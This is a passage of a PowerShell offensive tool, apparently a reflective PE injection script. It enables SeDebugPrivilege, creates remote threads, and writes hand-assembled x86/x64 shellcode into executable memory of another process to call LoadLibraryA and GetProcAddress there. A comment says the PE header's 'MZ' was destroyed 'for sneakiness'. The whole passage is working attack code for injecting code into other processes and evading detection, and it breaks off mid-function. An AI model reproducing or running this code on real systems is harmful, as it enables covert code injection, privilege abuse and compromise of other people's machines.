  857.             $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
  858.             # Get a handle to the module specified
  859.             $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
  860.             $tmpPtr = New-Object IntPtr
  861.             $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
  862.            
  863.             # Return the address of the function
  864.             Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
  865.         }
  866.        
  867.        
  868.         Function Enable-SeDebugPrivilege
  869.         {
  870.             Param (
  871.                 [Parameter(Position = 1, Mandatory = $true)]
  872.                 [System.Object]$Win32Functions,
  873.                 [Parameter(Position = 2, Mandatory = $true)]
  874.                 [System.Object]$Win32Types,
  875.                 [Parameter(Position = 3, Mandatory = $true)]
  876.                 [System.Object]$Win32Constants
  877.             )
  878.            
  879.             [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
  880.             if ($ThreadHandle -eq [IntPtr]::Zero)
  881.             {
  882.                 Throw "Unable to get the handle to the current thread"
  883.             }
  884.            
  885.             [IntPtr]$ThreadToken = [IntPtr]::Zero
  886.             [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  887.             if ($Result -eq $false)
  888.             {
  889.                 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  890.                 if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
  891.                 {
  892.                     $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
  893.                     if ($Result -eq $false)
  894.                     {
  895.                         Throw "Unable to impersonate self"
  896.                     }
  897.                    
  898.                     $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  899.                     if ($Result -eq $false)
  900.                     {
  901.                         Throw "Unable to OpenThreadToken."
  902.                     }
  903.                 }
  904.                 else
  905.                 {
  906.                     Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
  907.                 }
  908.             }
  909.            
  910.             [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
  911.             $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
  912.             if ($Result -eq $false)
  913.             {
  914.                 Throw "Unable to call LookupPrivilegeValue"
  915.             }
  916.            
  917.             [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
  918.             [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
  919.             $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
  920.             $TokenPrivileges.PrivilegeCount = 1
  921.             $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
  922.             $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
  923.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
  924.            
  925.             $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
  926.             $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
  927.             if (($Result -eq $false) -or ($ErrorCode -ne 0))
  928.             {
  929.                 #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode"   #todo need to detect if already set
  930.             }
  931.            
  932.             [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
  933.         }
  934.        
  935.        
  936.         Function Invoke-CreateRemoteThread
  937.         {
  938.             Param (
  939.                 [Parameter(Position = 1, Mandatory = $true)]
  940.                 [IntPtr]$ProcessHandle,
  941.                 [Parameter(Position = 2, Mandatory = $true)]
  942.                 [IntPtr]$StartAddress,
  943.                 [Parameter(Position = 3, Mandatory = $false)]
  944.                 [IntPtr]$ArgumentPtr = [IntPtr]::Zero,
  945.                 [Parameter(Position = 4, Mandatory = $true)]
  946.                 [System.Object]$Win32Functions
  947.             )
  948.            
  949.             [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
  950.            
  951.             $OSVersion = [Environment]::OSVersion.Version
  952.             #Vista and Win7
  953.             if (($OSVersion -ge (New-Object 'Version' 6, 0)) -and ($OSVersion -lt (New-Object 'Version' 6, 2)))
  954.             {
  955.                 Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
  956.                 $RetVal = $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
  957.                 $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  958.                 if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  959.                 {
  960.                     Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
  961.                 }
  962.             }
  963.             #XP/Win8
  964.             else
  965.             {
  966.                 Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
  967.                 $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
  968.             }
  969.            
  970.             if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  971.             {
  972.                 Write-Verbose "Error creating remote thread, thread handle is null"
  973.             }
  974.            
  975.             return $RemoteThreadHandle
  976.         }
  977.        
  978.        
  979.        
  980.         Function Get-ImageNtHeaders
  981.         {
  982.             Param (
  983.                 [Parameter(Position = 0, Mandatory = $true)]
  984.                 [IntPtr]$PEHandle,
  985.                 [Parameter(Position = 1, Mandatory = $true)]
  986.                 [System.Object]$Win32Types
  987.             )
  988.            
  989.             $NtHeadersInfo = New-Object System.Object
  990.            
  991.             #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
  992.             $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
  993.            
  994.             #Get IMAGE_NT_HEADERS
  995.             [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
  996.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
  997.             $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
  998.            
  999.             #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
  1000.             if ($imageNtHeaders64.Signature -ne 0x00004550)
  1001.             {
  1002.                 throw "Invalid IMAGE_NT_HEADER signature."
  1003.             }
  1004.            
  1005.             if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
  1006.             {
  1007.                 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
  1008.                 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
  1009.             }
  1010.             else
  1011.             {
  1012.                 $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
  1013.                 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
  1014.                 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
  1015.             }
  1016.            
  1017.             return $NtHeadersInfo
  1018.         }
  1019.        
  1020.        
  1021.         #This function will get the information needed to allocated space in memory for the PE
  1022.         Function Get-PEBasicInfo
  1023.         {
  1024.             Param (
  1025.                 [Parameter(Position = 0, Mandatory = $true)]
  1026.                 [Byte[]]$PEBytes,
  1027.                 [Parameter(Position = 1, Mandatory = $true)]
  1028.                 [System.Object]$Win32Types
  1029.             )
  1030.            
  1031.             $PEInfo = New-Object System.Object
  1032.            
  1033.             #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
  1034.             [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
  1035.             [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
  1036.            
  1037.             #Get NtHeadersInfo
  1038.             $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
  1039.            
  1040.             #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
  1041.             $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
  1042.             $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
  1043.             $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1044.             $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
  1045.             $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
  1046.            
  1047.             #Free the memory allocated above, this isn't where we allocate the PE to memory
  1048.             [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
  1049.            
  1050.             return $PEInfo
  1051.         }
  1052.        
  1053.        
  1054.         #PEInfo must contain the following NoteProperties:
  1055.         #   PEHandle: An IntPtr to the address the PE is loaded to in memory
  1056.         Function Get-PEDetailedInfo
  1057.         {
  1058.             Param (
  1059.                 [Parameter(Position = 0, Mandatory = $true)]
  1060.                 [IntPtr]$PEHandle,
  1061.                 [Parameter(Position = 1, Mandatory = $true)]
  1062.                 [System.Object]$Win32Types,
  1063.                 [Parameter(Position = 2, Mandatory = $true)]
  1064.                 [System.Object]$Win32Constants
  1065.             )
  1066.            
  1067.             if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
  1068.             {
  1069.                 throw 'PEHandle is null or IntPtr.Zero'
  1070.             }
  1071.            
  1072.             $PEInfo = New-Object System.Object
  1073.            
  1074.             #Get NtHeaders information
  1075.             $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
  1076.            
  1077.             #Build the PEInfo object
  1078.             $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
  1079.             $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
  1080.             $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
  1081.             $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
  1082.             $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1083.            
  1084.             if ($PEInfo.PE64Bit -eq $true)
  1085.             {
  1086.                 [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
  1087.                 $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1088.             }
  1089.             else
  1090.             {
  1091.                 [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
  1092.                 $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1093.             }
  1094.            
  1095.             if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
  1096.             {
  1097.                 $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
  1098.             }
  1099.             elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
  1100.             {
  1101.                 $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
  1102.             }
  1103.             else
  1104.             {
  1105.                 Throw "PE file is not an EXE or DLL"
  1106.             }
  1107.            
  1108.             return $PEInfo
  1109.         }
  1110.        
  1111.        
  1112.         Function Import-DllInRemoteProcess
  1113.         {
  1114.             Param (
  1115.                 [Parameter(Position = 0, Mandatory = $true)]
  1116.                 [IntPtr]$RemoteProcHandle,
  1117.                 [Parameter(Position = 1, Mandatory = $true)]
  1118.                 [IntPtr]$ImportDllPathPtr
  1119.             )
  1120.            
  1121.             $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1122.            
  1123.             $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1124.             $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
  1125.             $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1126.             if ($RImportDllPathPtr -eq [IntPtr]::Zero)
  1127.             {
  1128.                 Throw "Unable to allocate memory in the remote process"
  1129.             }
  1130.            
  1131.             [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1132.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
  1133.            
  1134.             if ($Success -eq $false)
  1135.             {
  1136.                 Throw "Unable to write DLL path to remote process memory"
  1137.             }
  1138.             if ($DllPathSize -ne $NumBytesWritten)
  1139.             {
  1140.                 Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1141.             }
  1142.            
  1143.             $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1144.             $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
  1145.            
  1146.             [IntPtr]$DllAddress = [IntPtr]::Zero
  1147.             #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
  1148.             #   Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
  1149.             if ($PEInfo.PE64Bit -eq $true)
  1150.             {
  1151.                 #Allocate memory for the address returned by LoadLibraryA
  1152.                 $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1153.                 if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
  1154.                 {
  1155.                     Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
  1156.                 }
  1157.                
  1158.                
  1159.                 #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
  1160.                 $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1161.                 $LoadLibrarySC2 = @(0x48, 0xba)
  1162.                 $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
  1163.                 $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1164.                
  1165.                 $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
  1166.                 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1167.                 $SCPSMemOriginal = $SCPSMem
  1168.                
  1169.                 Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
  1170.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
  1171.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
  1172.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1173.                 Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
  1174.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
  1175.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
  1176.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1177.                 Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
  1178.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
  1179.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
  1180.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1181.                 Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
  1182.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
  1183.                
  1184.                
  1185.                 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1186.                 if ($RSCAddr -eq [IntPtr]::Zero)
  1187.                 {
  1188.                     Throw "Unable to allocate memory in the remote process for shellcode"
  1189.                 }
  1190.                
  1191.                 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1192.                 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1193.                 {
  1194.                     Throw "Unable to write shellcode to remote process memory."
  1195.                 }
  1196.                
  1197.                 $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1198.                 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1199.                 if ($Result -ne 0)
  1200.                 {
  1201.                     Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1202.                 }
  1203.                
  1204.                 #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
  1205.                 [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1206.                 $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1207.                 if ($Result -eq $false)
  1208.                 {
  1209.                     Throw "Call to ReadProcessMemory failed"
  1210.                 }
  1211.                 [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1212.                
  1213.                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1214.                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1215.             }
  1216.             else
  1217.             {
  1218.                 [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
  1219.                 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1220.                 if ($Result -ne 0)
  1221.                 {
  1222.                     Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1223.                 }
  1224.                
  1225.                 [Int32]$ExitCode = 0
  1226.                 $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
  1227.                 if (($Result -eq 0) -or ($ExitCode -eq 0))
  1228.                 {
  1229.                     Throw "Call to GetExitCodeThread failed"
  1230.                 }
  1231.                
  1232.                 [IntPtr]$DllAddress = [IntPtr]$ExitCode
  1233.             }
  1234.            
  1235.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1236.            
  1237.             return $DllAddress
  1238.         }
  1239.        
  1240.        
  1241.         Function Get-RemoteProcAddress
  1242.         {
  1243.             Param (
  1244.                 [Parameter(Position = 0, Mandatory = $true)]
  1245.                 [IntPtr]$RemoteProcHandle,
  1246.                 [Parameter(Position = 1, Mandatory = $true)]
  1247.                 [IntPtr]$RemoteDllHandle,
  1248.                 [Parameter(Position = 2, Mandatory = $true)]
  1249.                 [String]$FunctionName
  1250.             )
  1251.            
  1252.             $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1253.             $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName)
  1254.            
  1255.             #Write FunctionName to memory (will be used in GetProcAddress)
  1256.             $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
  1257.             $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1258.             if ($RFuncNamePtr -eq [IntPtr]::Zero)
  1259.             {
  1260.                 Throw "Unable to allocate memory in the remote process"
  1261.             }
  1262.            
  1263.             [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1264.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
  1265.             [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr)
  1266.             if ($Success -eq $false)
  1267.             {
  1268.                 Throw "Unable to write DLL path to remote process memory"
  1269.             }
  1270.             if ($FunctionNameSize -ne $NumBytesWritten)
  1271.             {
  1272.                 Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1273.             }
  1274.            
  1275.             #Get address of GetProcAddress
  1276.             $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1277.             $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
  1278.            
  1279.            
  1280.             #Allocate memory for the address returned by GetProcAddress
  1281.             $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1282.             if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
  1283.             {
  1284.                 Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
  1285.             }
  1286.            
  1287.            
  1288.             #Write Shellcode to the remote process which will call GetProcAddress
  1289.             #Shellcode: GetProcAddress.asm
  1290.             #todo: need to have detection for when to get by ordinal
  1291.             [Byte[]]$GetProcAddressSC = @()
  1292.             if ($PEInfo.PE64Bit -eq $true)
  1293.             {
  1294.                 $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1295.                 $GetProcAddressSC2 = @(0x48, 0xba)
  1296.                 $GetProcAddressSC3 = @(0x48, 0xb8)
  1297.                 $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
  1298.                 $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1299.             }
  1300.             else
  1301.             {
  1302.                 $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
  1303.                 $GetProcAddressSC2 = @(0xb9)
  1304.                 $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
  1305.                 $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
  1306.                 $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
  1307.             }
  1308.             $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
  1309.             $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1310.             $SCPSMemOriginal = $SCPSMem
  1311.            
  1312.             Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
  1313.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
  1314.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
  1315.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1316.             Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
  1317.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
  1318.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
  1319.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1320.             Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
  1321.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
  1322.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
  1323.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1324.             Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
  1325.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
  1326.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
  1327.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1328.             Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
  1329.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
  1330.            
  1331.             $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1332.             if ($RSCAddr -eq [IntPtr]::Zero)
  1333.             {
  1334.                 Throw "Unable to allocate memory in the remote process for shellcode"
  1335.             }
  1336.            
  1337.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1338.             if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1339.             {
  1340.                 Throw "Unable to write shellcode to remote process memory."
  1341.             }
  1342.            
  1343.             $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1344.             $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1345.             if ($Result -ne 0)
  1346.             {
  1347.                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1348.             }
  1349.            
  1350.             #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
  1351.             [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
